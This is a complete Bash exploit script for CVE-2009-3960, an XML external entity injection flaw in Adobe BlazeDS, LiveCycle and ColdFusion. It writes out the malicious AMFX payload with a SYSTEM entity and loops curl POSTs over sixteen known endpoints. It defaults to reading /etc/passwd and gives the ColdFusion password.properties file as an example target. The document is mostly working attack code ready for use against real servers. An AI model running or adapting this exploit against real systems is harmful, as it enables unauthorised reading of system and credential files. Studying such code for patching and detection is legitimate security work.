1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 |
#!/bin/bash # # Exploit Title: Adobe XML Injection file content disclosure # Date: 07-04-2017 # Exploit Author: Thomas Sluyter # Website: https://www.kilala.nl # Vendor Homepage: http://www.adobe.com/support/security/bulletins/apsb10-05.html # Version: Multiple Adobe products # Tested on: Windows Server 2003, ColdFusion 8.0 Enterprise # CVE : 2009-3960 # # Shell script that let's you exploit a known XML injection vulnerability # in a number of Adobe products, allowing you to read files that are otherwise # inaccessible. In Metasploit, this is achieved with auxiliary:scanner:adobe_xml_inject # This script is a Bash implementation of the PoC multiple/dos/11529.txt. # # According to the original Metasploit code, this attack works with: # "Multiple Adobe Products: BlazeDS 3.2 and earlier versions, # LiveCycle 9.0, 8.2.1, and 8.0.1, LiveCycle Data Services 3.0, 2.6.1, # and 2.5.1, Flex Data Services 2.0.1, ColdFusion 9.0, 8.0.1, 8.0, and 7.0.2" # PROGNAME="$(basename $0)" # This script TIMESTAMP=$(date +%y%m%d%H%M) # Used for scratchfiles SCRATCHFILE="/tmp/${PROGNAME}.${TIMESTAMP}" # Used as generic scratchfile EXITCODE="0" # Assume success, changes on errors CURL="/usr/bin/curl" # Other locations are detected with "which" SSL="0" # Overridden by -s DEBUG="0" # Overridden by -d BREAKFOUND="0" # Overridden by -b TARGETHOST="" # Overridden by -h TARGETPORT="8400" # Overridden by -p READFILE="/etc/passwd" # Overridden by -f ################################## OVERHEAD SECTION # # Various functions for overhead purposes. # # Defining our own logger function, so we can switch between stdout and syslog. logger() { LEVEL="$1" MESSAGE="$2" # You may switch the following two, if you need to log to syslog. #[[ ${DEBUG} -gt 0 ]] && echo "${LEVEL} $MESSAGE" || /usr/bin/logger -p ${LEVEL} "$MESSAGE" [[ ${DEBUG} -gt 0 ]] && echo "${LEVEL} $MESSAGE" || echo "${LEVEL} $MESSAGE" } ExitCleanup() { EXITCODE=${1} rm -f ${SCRATCHFILE}* >/dev/null 2>&1 echo "" exit ${EXITCODE} } # Many thanks to http://www.linuxjournal.com/content/validating-ip-address-bash-script ValidIP() { local IP=${1} local STAT=1 if [[ ${IP} =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]] then OIFS=$IFS; IFS='.' IP=(${IP}) IFS=$OIFS [[ (${IP[0]} -le 255) && (${IP[1]} -le 255) && (${IP[2]} -le 255) && (${IP[3]} -le 255) ]] stat=$? fi return $stat } # Function to output help information. show-help() { echo "" cat << EOF ${PROGNAME} [-?] [-d] [-s] [-b] -h host [-p port] [-f file] -? Show this help message. -d Debug mode, outputs more kruft on stdout. -s Use SSL / HTTPS, instead of HTTP. -b Break on the first valid answer found. -h Target host -p Target port, defaults to 8400. -f Full path to file to grab, defaults to /etc/passwd. This script exploits a known vulnerability in a set of Adobe applications. Using one of a few possible URLs on the target host (-h) we attempt to read a file (-f) that is normally inaccessible. NOTE: Windows paths use \\, so be sure to properly escape them when using -f! For example: ${PROGNAME} -h 192.168.1.20 -f c:\\\\coldfusion8\\\\lib\\\\password.properties ${PROGNAME} -h 192.168.1.20 -f 'c:\\coldfusion8\\lib\\password.properties' This script relies on CURL, so please have it in your PATH. EOF } # Parsing and verifying the passed parameters. OPTIND=1 while getopts "?dsbh:p:f:" opt; do case "$opt" in \?) show-help; ExitCleanup 0 ;; d) DEBUG="1" ;; s) SSL="1" ;; b) BREAKFOUND="1" ;; h) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1) ValidIP ${OPTARG}; if [[ $? -eq 0 ]] then TARGETHOST=${OPTARG} else TARGETHOST=$(nslookup ${OPTARG} | grep ^Name | awk '{print $2}') [[ $? -gt 0 ]] && (logger ERROR "Target host ${TARGETHOST} not found in DNS."; ExitCleanup 1) fi ;; p) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1) if [[ ! -z $(echo ${OPTARG} | tr -d '[:alnum:]') ]] then logger ERROR "Target port ${OPTARG} is incorrect."; ExitCleanup 1 else TARGETPORT=${OPTARG} fi ;; f) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1) if [[ (-z $(echo ${OPTARG} | grep ^\/)) && (-z $(echo ${OPTARG} | grep ^[a-Z]:)) ]] then logger ERROR "File is NOT specified with full Unix or Windows path."; ExitCleanup 1 else READFILE=${OPTARG} fi ;; *) show-help; ExitCleanup 0 ;; esac done [[ $(which curl) ]] && CURL=$(which curl) || (logger ERROR "CURL was not found."; ExitCleanup 1) [[ -z ${TARGETHOST} ]] && (logger ERROR "Target host was not set."; ExitCleanup 1) [[ ${DEBUG} -gt 0 ]] && logger DEBUG "Proceeding with host/port/file: ${TARGETHOST},${TARGETPORT},${READFILE}." ################################## GETTING TO WORK # # PATHLIST=("/flex2gateway/" "/flex2gateway/http" "/flex2gateway/httpsecure" \ "/flex2gateway/cfamfpolling" "/flex2gateway/amf" "/flex2gateway/amfpolling" \ "/messagebroker/http" "/messagebroker/httpsecure" "/blazeds/messagebroker/http" \ "/blazeds/messagebroker/httpsecure" "/samples/messagebroker/http" \ "/samples/messagebroker/httpsecure" "/lcds/messagebroker/http" \ "/lcds/messagebroker/httpsecure" "/lcds-samples/messagebroker/http" \ "/lcds-samples/messagebroker/httpsecure") echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>" > ${SCRATCHFILE} echo "<!DOCTYPE test [ <!ENTITY x3 SYSTEM \"${READFILE}\"> ]>" >> ${SCRATCHFILE} echo "<amfx ver=\"3\" xmlns=\"http://www.macromedia.com/2005/amfx\">" >> ${SCRATCHFILE} echo "<body><object type=\"flex.messaging.messages.CommandMessage\"><traits>" >> ${SCRATCHFILE} echo "<string>body</string><string>clientId</string><string>correlationId</string><string>destination</string>" >> ${SCRATCHFILE} echo "<string>headers</string><string>messageId</string><string>operation</string><string>timestamp</string>" >> ${SCRATCHFILE} echo "<string>timeToLive</string></traits><object><traits /></object><null /><string /><string /><object>" >> ${SCRATCHFILE} echo "<traits><string>DSId</string><string>DSMessagingVersion</string></traits><string>nil</string>" >> ${SCRATCHFILE} echo "<int>1</int></object><string>&x3;</string><int>5</int><int>0</int><int>0</int></object></body></amfx>" >> ${SCRATCHFILE} if [[ ${DEBUG} -gt 0 ]] then logger DEBUG "XML file sent to target host reads as follows:" echo "======================================" cat ${SCRATCHFILE} echo "======================================" echo "" fi let CONTENTLENGTH=$(wc -c ${SCRATCHFILE} | awk '{print $1}')-1 for ADOBEPATH in "${PATHLIST[@]}" do [[ ${SSL} -gt 0 ]] && PROTOCOL="https" || PROTOCOL="http" URI="${PROTOCOL}://${TARGETHOST}:${TARGETPORT}${ADOBEPATH}" [[ ${DEBUG} -gt 0 ]] && logger DEBUG "Proceeding with URI: ${URI}" # Header contents based on a tcpdump capture of original exploit being # run from Metasploit. HEADER="-H \"Host: ${TARGETHOST}\" -H \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\" -H \"Content-Type: application/x-www-form-urlencoded\" -H \"Content-Length: ${CONTENTLENGTH}\"" CURLPOST="${CURL} -X POST -k -s --http1.1 ${HEADER} -w \"%{http_code}\" -d @- ${URI}" [[ ${DEBUG} -gt 0 ]] && logger DEBUG "Using this CURL command: ${CURLPOST}" # The tr command dikes out any non-ASCII characters which might mess with output. CURLOUTPUT=$(cat ${SCRATCHFILE} | ${CURLPOST} | tr -cd '\11\12\15\40-\176' 2>&1) # Output is pretty garbled and the HTTP return code is enclosed in double quotes. # I need to grab the last 5 chars (includes NULL EOF) and remove the ". CURLCODE=$(echo ${CURLOUTPUT} | tail -c5 | tr -cd [:digit:]) if [[ ${DEBUG} -gt 0 ]] then logger DEBUG "CURL was given this HTTP return code: ${CURLCODE}." logger DEBUG "Output from CURL reads as follows:" echo "======================================" echo "${CURLOUTPUT}" echo "======================================" echo "" fi logger INFO "${CURLCODE} for ${URI}" if [[ (${CURLCODE} -eq 200) && (! -z $(echo ${CURLOUTPUT} | grep "<?xml version=")) ]] then echo "Read from ${URI}:" echo "${CURLOUTPUT}" | sed 's/^[^<]*</</' [[ ${BREAKFOUND} -gt 0 ]] && ExitCleanup 0 fi if [[ ${DEBUG} -gt 0 ]] then echo -e "\nReady to continue with the next URI? [y/n]: \c" read READY case ${READY} in y|Y|yes) logger DEBUG "Moving to next URI."; echo "" ;; *) logger DEBUG "Aborting..."; ExitCleanup 1 ;; esac fi done ExitCleanup 0 |